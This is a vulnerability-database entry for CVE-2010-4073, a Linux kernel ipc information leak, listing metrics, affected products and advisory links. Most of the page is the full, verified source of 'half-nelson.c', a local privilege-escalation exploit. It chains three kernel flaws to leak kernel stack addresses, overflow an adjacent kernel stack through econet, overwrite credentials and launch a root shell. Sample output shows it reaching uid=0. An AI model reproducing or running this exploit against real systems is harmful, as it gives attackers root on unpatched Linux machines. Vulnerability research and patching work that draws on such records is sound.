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CVE-2010-4073 : Detail

CVE-2010-4073

A01-Broken Access Control
0.04%V3
Local
2010-11-29 14:00 +00:00
2018-10-10 16:57 +00:00
CVE.org
NVD

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Descriptions

The ipc subsystem in the Linux kernel before 2.6.37-rc1 does not initialize certain structures, which allows local users to obtain potentially sensitive information from kernel stack memory via vectors related to the (1) compat_sys_semctl, (2) compat_sys_msgctl, and (3) compat_sys_shmctl functions in ipc/compat.c; and the (4) compat_sys_mq_open and (5) compat_sys_mq_getsetattr functions in ipc/compat_mq.c.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metric Score Severity CVSS Vector Source
V2 1.9 AV:L/AC:M/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 17787

Publication date : 2011-09-04 22:00 +00:00
Author : Jon Oberheide
EDB Verified : Yes

/* * half-nelson.c * * Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit * Jon Oberheide * http://jon.oberheide.org * * Information: * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848 * * Stack-based buffer overflow in the econet_sendmsg function in * net/econet/af_econet.c in the Linux kernel before 2.6.36.2, when an * econet address is configured, allows local users to gain privileges by * providing a large number of iovec structures. * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3850 * * The ec_dev_ioctl function in net/econet/af_econet.c in the Linux kernel * before 2.6.36.2 does not require the CAP_NET_ADMIN capability, which * allows local users to bypass intended access restrictions and configure * econet addresses via an SIOCSIFADDR ioctl call. * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4073 * * The ipc subsystem in the Linux kernel before 2.6.37-rc1 does not * initialize certain structures, which allows local users to obtain * potentially sensitive information from kernel stack memory. * * Usage: * * $ gcc half-nelson.c -o half-nelson -lrt * $ ./half-nelson * [+] looking for symbols... * [+] resolved symbol commit_creds to 0xffffffff81088ad0 * [+] resolved symbol prepare_kernel_cred to 0xffffffff81088eb0 * [+] resolved symbol ia32_sysret to 0xffffffff81046692 * [+] spawning children to achieve adjacent kstacks... * [+] found parent kstack at 0xffff88001c6ca000 * [+] found adjacent children kstacks at 0xffff88000d10a000 and 0xffff88000d10c000 * [+] lower child spawning a helper... * [+] lower child calling compat_sys_wait4 on helper... * [+] helper going to sleep... * [+] upper child triggering stack overflow... * [+] helper woke up * [+] lower child returned from compat_sys_wait4 * [+] parent's restart_block has been clobbered * [+] escalating privileges... * [+] launching root shell! * # id * uid=0(root) gid=0(root) * * Notes: * * This exploit leverages three vulnerabilities to escalate privileges. * The primary vulnerability is a kernel stack overflow, not a stack buffer * overflow as the CVE description incorrectly states. I believe this is the * first public exploit for a kernel stack overflow, and it turns out to be * a bit tricky due to some particulars of the econet vulnerability. A full * breakdown of the exploit is forthcoming. * * Tested on Ubuntu 10.04 LTS (2.6.32-21-generic). */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define IOVS 446 #define NPROC 1024 #define KSTACK_SIZE 8192 #define KSTACK_UNINIT 0 #define KSTACK_UPPER 1 #define KSTACK_LOWER 2 #define KSTACK_DIE 3 #define KSTACK_PARENT 4 #define KSTACK_CLOBBER 5 #define LEAK_BASE 0xffff880000000000 #define LEAK_TOP 0xffff8800c0000000 #define LEAK_DEPTH 500 #define LEAK_OFFSET 32 #define NR_IPC 0x75 #define NR_WAIT4 0x72 #define SEMCTL 0x3 #ifndef PF_ECONET #define PF_ECONET 19 #endif #define STACK_OFFSET 6 #define RESTART_OFFSET 40 struct ec_addr { unsigned char station; unsigned char net; }; struct sockaddr_ec { unsigned short sec_family; unsigned char port; unsigned char cb; unsigned char type; struct ec_addr addr; unsigned long cookie; }; struct ipc64_perm { uint32_t key; uint32_t uid; uint32_t gid; uint32_t cuid; uint32_t cgid; uint32_t mode; uint16_t seq; uint16_t __pad2; unsigned long __unused1; unsigned long __unused2; }; struct semid64_ds { struct ipc64_perm sem_perm; unsigned long sem_otime; unsigned long __unused1; unsigned long sem_ctime; unsigned long __unused; unsigned long sem_nsems; unsigned long __unused3; unsigned long __unused4; }; union semun { int val; struct semid_ds *buf; unsigned short *array; struct seminfo *__buf; }; struct region { unsigned long parent; unsigned long addrs[NPROC]; }; struct region *region; typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; unsigned long ia32_sysret; void __attribute__((regparm(3))) kernel_code(void) { commit_creds(prepare_kernel_cred(0)); } void payload_parent(void) { asm volatile ( "mov $kernel_code, %rax\n" "call *%rax\n" ); } void payload_child(void) { asm volatile ( "movq $payload_parent, (%0)\n" "jmpq *%1\n" : : "r"(region->parent + RESTART_OFFSET), "r"(ia32_sysret) ); } unsigned long get_kstack(void) { int i, size, offset; union semun *arg; struct semid_ds dummy; struct semid64_ds *leaked; char *stack_start, *stack_end; unsigned char *p; unsigned long kstack, *ptr; /* make sure our argument is 32-bit accessible */ arg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0); if (arg == MAP_FAILED) { printf("[-] failure mapping memory, aborting!\n"); exit(1); } /* map a fake stack to use during syscall */ stack_start = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0); if (stack_start == MAP_FAILED) { printf("[-] failure mapping memory, aborting!\n"); exit(1); } stack_end = stack_start + 4096; memset(arg, 0, sizeof(union semun)); memset(&dummy, 0, sizeof(struct semid_ds)); arg->buf = &dummy; /* syscall(NR_IPC, SEMCTL, 0, 0, IPC_SET, arg) */ asm volatile ( "push %%rax\n" "push %%rbx\n" "push %%rcx\n" "push %%rdx\n" "push %%rsi\n" "push %%rdi\n" "movl %0, %%eax\n" "movl %1, %%ebx\n" "movl %2, %%ecx\n" "movl %3, %%edx\n" "movl %4, %%esi\n" "movq %5, %%rdi\n" "movq %%rsp, %%r8\n" "movq %6, %%rsp\n" "push %%r8\n" "int $0x80\n" "pop %%r8\n" "movq %%r8, %%rsp\n" "pop %%rdi\n" "pop %%rsi\n" "pop %%rdx\n" "pop %%rcx\n" "pop %%rbx\n" "pop %%rax\n" : : "r"(NR_IPC), "r"(SEMCTL), "r"(0), "r"(0), "r"(IPC_SET), "r"(arg), "r"(stack_end) : "memory", "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r8" ); /* naively extract a pointer to the kstack from the kstack */ p = stack_end - (sizeof(unsigned long) + sizeof(struct semid64_ds)) + LEAK_OFFSET; kstack = *(unsigned long *) p; if (kstack < LEAK_BASE || kstack > LEAK_TOP) { printf("[-] failed to leak a suitable kstack address, try again!\n"); exit(1); } if ((kstack % 0x1000) < (0x1000 - LEAK_DEPTH)) { printf("[-] failed to leak a suitable kstack address, try again!\n"); exit(1); } kstack = kstack & ~0x1fff; return kstack; } unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy, sym[512]; int ret = 0; f = fopen("/proc/kallsyms", "r"); if (!f) { return 0; } while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym); if (ret == 0) { fscanf(f, "%s\n", sym); continue; } if (!strcmp(name, sym)) { printf("[+] resolved symbol %s to %p\n", name, (void *) addr); fclose(f); return addr; } } fclose(f); return 0; } int get_adjacent_kstacks(void) { int i, ret, shm, pid, type; /* create shared communication channel between parent and its children */ shm = shm_open("/halfnelson", O_RDWR | O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO); if (shm < 0) { printf("[-] failed creating shared memory, aborting!\n"); exit(1); } ret = ftruncate(shm, sizeof(struct region)); if (ret != 0) { printf("[-] failed resizing shared memory, aborting!\n"); exit(1); } region = mmap(NULL, sizeof(struct region), PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0); memset(region, KSTACK_UNINIT, sizeof(struct region)); /* parent kstack self-discovery */ region->parent = get_kstack(); printf("[+] found parent kstack at 0x%lx\n", region->parent); /* fork and discover children with adjacently-allocated kernel stacks */ for (i = 0; i < NPROC; ++i) { pid = fork(); if (pid > 0) { type = KSTACK_PARENT; continue; } else if (pid == 0) { /* children do kstack self-discovery */ region->addrs[i] = get_kstack(); /* children sleep until parent has found adjacent children */ while (1) { sleep(1); if (region->addrs[i] == KSTACK_DIE) { /* parent doesn't need us :-( */ exit(0); } else if (region->addrs[i] == KSTACK_UPPER) { /* we're the upper adjacent process */ type = KSTACK_UPPER; break; } else if (region->addrs[i] == KSTACK_LOWER) { /* we're the lower adjacent process */ type = KSTACK_LOWER; break; } } break; } else { printf("[-] fork failed, aborting!\n"); exit(1); } } return type; } void do_parent(void) { int i, j, upper, lower; /* parent sleeps until we've discovered all the child kstacks */ while (1) { sleep(1); for (i = 0; i < NPROC; ++i) { if (region->addrs[i] == KSTACK_UNINIT) { break; } } if (i == NPROC) { break; } } /* figure out if we have any adjacent child kstacks */ for (i = 0; i < NPROC; ++i) { for (j = 0; j < NPROC; ++j) { if (region->addrs[i] == region->addrs[j] + KSTACK_SIZE) { break; } } if (j != NPROC) { break; } } if (i == NPROC && j == NPROC) { printf("[-] failed to find adjacent kstacks, try again!\n"); exit(1); } upper = i; lower = j; printf("[+] found adjacent children kstacks at 0x%lx and 0x%lx\n", region->addrs[lower], region->addrs[upper]); /* signal to non-adjacent children to die */ for (i = 0; i < NPROC; ++i) { if (i != upper && i != lower) { region->addrs[i] = KSTACK_DIE; } } /* signal adjacent children to continue on */ region->addrs[upper] = KSTACK_UPPER; region->addrs[lower] = KSTACK_LOWER; /* parent sleeps until child has clobbered the fptr */ while (1) { sleep(1); if (region->parent == KSTACK_CLOBBER) { break; } } printf("[+] escalating privileges...\n"); /* trigger our clobbered fptr */ syscall(__NR_restart_syscall); /* our privileges should be escalated now */ if (getuid() != 0) { printf("[-] privilege escalation failed, aborting!\n"); exit(1); } printf("[+] launching root shell!\n"); execl("/bin/sh", "/bin/sh", NULL); } void do_child_upper(void) { int i, ret, eco_sock; struct sockaddr_ec eco_addr; struct msghdr eco_msg; struct iovec iovs[IOVS]; struct ifreq ifr; char *target; /* calculate payload target, skip prologue */ target = (char *) payload_child; target += 4; /* give lower child a chance to enter its wait4 call */ sleep(1); /* write some zeros */ for (i = 0; i < STACK_OFFSET; ++i) { iovs[i].iov_base = (void *) 0x0; iovs[i].iov_len = 0; } /* overwrite saved ia32_sysret address on stack */ iovs[STACK_OFFSET].iov_base = (void *) target; iovs[STACK_OFFSET].iov_len = 0x0246; /* force abort via EFAULT */ for (i = STACK_OFFSET + 1; i < IOVS; ++i) { iovs[i].iov_base = (void *) 0xffffffff00000000; iovs[i].iov_len = 0; } /* create econet socket */ eco_sock = socket(PF_ECONET, SOCK_DGRAM, 0); if (eco_sock < 0) { printf("[-] failed creating econet socket, aborting!\n"); exit(1); } memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, "lo"); /* trick econet into associated with the loopback */ ret = ioctl(eco_sock, SIOCSIFADDR, &ifr); if (ret != 0) { printf("[-] failed setting interface address, aborting!\n"); exit(1); } memset(&eco_addr, 0, sizeof(eco_addr)); memset(&eco_msg, 0, sizeof(eco_msg)); eco_msg.msg_name = &eco_addr; eco_msg.msg_namelen = sizeof(eco_addr); eco_msg.msg_flags = 0; eco_msg.msg_iov = &iovs[0]; eco_msg.msg_iovlen = IOVS; printf("[+] upper child triggering stack overflow...\n"); /* trigger the kstack overflow into lower child's kstack */ ret = sendmsg(eco_sock, &eco_msg, 0); if (ret != -1 || errno != EFAULT) { printf("[-] sendmsg succeeded unexpectedly, aborting!\n"); exit(1); } close(eco_sock); } void do_child_lower(void) { int pid; printf("[+] lower child spawning a helper...\n"); /* fork off a helper to wait4 on */ pid = fork(); if (pid == 0) { printf("[+] helper going to sleep...\n"); sleep(5); printf("[+] helper woke up\n"); exit(1); } printf("[+] lower child calling compat_sys_wait4 on helper...\n"); /* syscall(NR_WAIT4, pid, 0, 0, 0) */ asm volatile ( "push %%rax\n" "push %%rbx\n" "push %%rcx\n" "push %%rdx\n" "push %%rsi\n" "movl %0, %%eax\n" "movl %1, %%ebx\n" "movl %2, %%ecx\n" "movl %3, %%edx\n" "movl %4, %%esi\n" "int $0x80\n" "pop %%rsi\n" "pop %%rdx\n" "pop %%rcx\n" "pop %%rbx\n" "pop %%rax\n" : : "r"(NR_WAIT4), "r"(pid), "r"(0), "r"(0), "r"(0) : "memory", "rax", "rbx", "rcx", "rdx", "rsi" ); printf("[+] lower child returned from compat_sys_wait4\n"); printf("[+] parent's restart_block has been clobbered\n"); /* signal parent that our fptr should now be clobbered */ region->parent = KSTACK_CLOBBER; } int main(int argc, char **argv) { int type; if (sizeof(unsigned long) != 8) { printf("[-] x86_64 only, sorry!\n"); exit(1); } printf("[+] looking for symbols...\n"); commit_creds = (_commit_creds) get_symbol("commit_creds"); if (!commit_creds) { printf("[-] symbol table not available, aborting!\n"); exit(1); } prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred"); if (!prepare_kernel_cred) { printf("[-] symbol table not available, aborting!\n"); exit(1); } ia32_sysret = get_symbol("ia32_sysret"); if (!ia32_sysret) { printf("[-] symbol table not available, aborting!\n"); exit(1); } printf("[+] spawning children to achieve adjacent kstacks...\n"); type = get_adjacent_kstacks(); if (type == KSTACK_PARENT) { do_parent(); } else if (type == KSTACK_UPPER) { do_child_upper(); } else if (type == KSTACK_LOWER) { do_child_lower(); } return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (excluding) 2.6.37

Configuraton 0

Opensuse>>Opensuse >> Version 11.3

Suse>>Linux_enterprise_desktop >> Version 10

Suse>>Linux_enterprise_desktop >> Version 11

Suse>>Linux_enterprise_real_time_extension >> Version 11

Suse>>Linux_enterprise_server >> Version 9

Suse>>Linux_enterprise_server >> Version 10

Suse>>Linux_enterprise_server >> Version 11

Suse>>Linux_enterprise_software_development_kit >> Version 10

Configuraton 0

Debian>>Debian_linux >> Version 5.0

References

http://www.securityfocus.com/bid/45073
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/42778
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2011-0017.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/46397
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/42932
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2011-0007.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.vupen.com/english/advisories/2011/0124
Tags : vdb-entry, x_refsource_VUPEN
http://securityreason.com/securityalert/8366
Tags : third-party-advisory, x_refsource_SREASON
http://www.vupen.com/english/advisories/2011/0298
Tags : vdb-entry, x_refsource_VUPEN
http://www.redhat.com/support/errata/RHSA-2010-0958.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.mandriva.com/security/advisories?name=MDVSA-2011:051
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.openwall.com/lists/oss-security/2010/10/07/1
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/42963
Tags : third-party-advisory, x_refsource_SECUNIA
http://lkml.org/lkml/2010/10/6/492
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/42884
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2011/0375
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/42890
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2011-0162.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.vupen.com/english/advisories/2011/0012
Tags : vdb-entry, x_refsource_VUPEN
http://www.vupen.com/english/advisories/2011/0168
Tags : vdb-entry, x_refsource_VUPEN
http://www.mandriva.com/security/advisories?name=MDVSA-2011:029
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.openwall.com/lists/oss-security/2010/10/25/3
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/43291
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2010/dsa-2126
Tags : vendor-advisory, x_refsource_DEBIAN

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